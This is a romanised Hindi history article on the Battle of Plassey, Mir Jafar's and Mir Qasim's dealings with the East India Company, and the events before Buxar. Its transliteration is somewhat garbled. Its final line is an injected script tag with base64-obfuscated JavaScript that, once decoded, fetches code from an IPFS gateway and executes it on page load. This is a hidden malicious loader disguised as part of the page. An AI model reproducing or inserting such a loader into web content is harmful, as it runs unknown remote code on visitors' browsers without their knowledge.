प्लासी युद्ध
plasi ka yuddh 23 joon, 1757 ee. ko l da gaya tha. aangrez aur bangal ke navab sirajuddaula ki senayean 23 joon, 1757 ko murshidabad ke dakshin mean 22 mil door 'nadiya zile' mean bhagirathi nadi ke kinare 'plasi' namak gaanv mean amane-samane a geean. sirajuddaula ki sena mean jahaan ek or 'miramadan', 'mohanalal' jaise deshabhakt the, vahian doosari or mirajafar jaise kutsit vicharoan vale dhokhebaz bhi the. yuddh 23 joon ko pratah 9 baje prarambh hua. mirajafar evan rayadurlabh apani senaoan ke sath nishkriy rahe. is yuddh mean miramadan mara gaya. yuddh ka parinam shayad niyati ne pahale se hi tay kar rakha tha. r aaubart klaiv bina yuddh kiye hi vijayi raha. phalasvaroop mirajafar ko bangal ka navab banaya gaya. ke.em.panikkar ke anusar, 'yah ek sauda tha, jisamean bangal ke dhani sethoan tatha mirajafar ne navab ko aangrezoan ke hathoan bech dala'.
bangal par aangrezoan ka adhikar
yadyapi plasi ka yuddh ek chhoti-si sainik jh dap thi, lekin isase bharatiyoan ki charitrik durbalata ubharakar samane a gee. bharat ke itihas mean is yuddh ka mahatv isake pashchath hone vali ghatanaoan ke karan hai. niahsandeh bharat mean plasi ke yuddh ke bad dasata ke us kal ki shuruat huee, jisamean isaka arthik evan naitik shoshan adhik hua. rajanitik roop se bhi eest iandiya kanpani ki sthiti mazaboot huee. bangal aangrezoan ke adhin ho gaya aur phir kabhi svatantr n ho saka. naya navab mirajafar apani raksha tatha pad ke lie aangrezoan par nirbhar tha. usaki asamarthata yahaan tak thi, ki use divan rayadurlabh tatha ram narayan ko unake vishvasaghat ke lie dand dene se bhi aangrezoan ne mana kar diya. plasi ke yuddh ke bad bangal mean 'lyook skraftran' ko navab ke darabar mean aangrez rejideant niyukt kiya gaya.
klaib ki dhan pipasa
mirajafar robart klaiv ki kathaputali ke roop mean jab tak aangrezoan ki mahatvakaanksha ko poora kar sakane mean samarth tha, tab tak pad par bana raha. usaki dayaniy sthiti par murshidabad ke ek darabari ne ise karnal klaiv ka gid d ki upadhi di thi. svayan ko bangal ka navab banaye jane ke upalakshy mean usane aangrezoan ko unaki sevaoan ke lie 24 paraganoan ki zamiandari se puraskrit kiya aur klaiv ko 234,000 pauand ki niji bheant di. sath hi 150 lakh rupaye, sena tatha navikoan ko puraskar svaroop diye gaye. bangal ki samast fraansisi bastiyaan aangrezoan ko de di gayian aur yah nishchit hua, ki bhavishy mean aangrez padadhikariyoan tatha vyapariyoan ko niji vyapar par koee chuangi nahian deni hogi. itana sab kuchh lutane ke bavajood bhi mirajafar klaiv ki badhati dhanalipsa ki pipasa ko shant nahian kar saka, jisake parinamasvaroop 1760 ee. mean use padachyut kar usake jamata 'mir kasim' ko bangal ka navab banaya gaya.
aangrezoan v mir kasim ke madhy sandhi
bharatiy itihas mean is varsh ko 'shaantipoorn kraanti ka varsh' kaha jata hai. 27 sitambar, 1760 ko aangrezoan evan mir kasim ke madhy ek sandhi huee, jisake adhar par mir kasim ne kampani ko bardavan, midanapur tatha chatagaanv ke zile dene ki bat man li aur isake sath hi dakshin ke sainy abhiyan mean kampani ko 5 lakh rupaye dene ki ki bat kahi. sandhi ki any sharte nimnalikhit thian-
- mir kasim ne silhat ke choone ke vyapar mean kampani ke adhe bhag ko svikar kiya.
- mir kasim ne kampani ke mitr athava shatru ko apana mitr athava shatru manana svikar kiya.
- donoan pakshoan ne ek doosare ke asamiyoan ko apane-apane pradeshoan mean basane ki chhoot di.
- kampani navab ke aantarik mamaloan mean hastakshep nahian karegi.
mir kasim ke prayatn
alivardi khaan ke bad bangal ke navab ke pad par kary karane valoan mean mir kasim sarvadhik yogy tha. usane apani rajadhani murshidabad se muanger sthanantarit ki, kyoanki vah murshidabad ke shadayantramay vatavaran se svayan ko door rakhana chahata tha. usane apani sena ko yooropiy dhang se gathit karane ke lie muanger mean to dedar bandooqoan evan topoan ke karakhanoan ki sthapana ki tatha sainikoan ki sankhya mean vriddhi ki. isane apani sena ko gurgin khaan namak armeniyaee ke niyantran mean rakha. mir kasim ne apane khilaf shadayantr kar rahe bihar ke up-soobedar ram narayan, jise aangrezoan ka samarthan prapt tha, ko seva se hatakar marava diya. usane ek aur kar 'khijari jama', jo abhi tak adhikariyoan dvara chhupaya jata raha tha, bhi prapt kiya. mir kasim ko rajy ki arthik sthiti sudharane ke lie prayatnashil dekhakar aangrez adhikari baukhalaye, kyoanki unhean yah bardasht nahian tha, ki bangal mean aisa koee vyakti shasan kare, jo unake arthik hitoan ko hani pahuanchata ho.
baksar ka yuddh
mir kasim ne dekha ki aangrez 'gumashte dashtak' (bina chuangi ke vyapar ka adhikar patr) ka durupayog kar rahe haian, aur chuangi dene ki vyavastha ka ullanghan kar rahe haian. aangrezoan ne dastak ka dhan lekar bharatiy vyapariyoan ko bhejana prarambh kar diya tha, jisaka parinam yah hua, ki jo dhan chuangi ke roop mean navab ko milata tha, vah bhi samapt hone laga. antatah mir kasim ne vyapar par se sabhi antarik kar hata lie, jisase bharatiy vyapariyoan ki sthiti aangrez vyapariyoan ki tarah hi ho gee. mir kasim ke is nirnay se aangrez adhikari stabdh rah gaye. sambhavatah usaka yahi nirnay kalantar mean baksar ke yuddh ka karan bana. baksar ke yuddh se pahale mir kasim aangrezoan se nimnalikhit yuddhoan mean parajit hua-
- giriya ka yuddh - 4 sitambar athava 5 sitambar, 1762 ee.
- karava ka yuddh - 9 julaee, 1763 ee.
- udyaunala ka yuddh - 1763 ee.
|
|
|
|
|
|
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>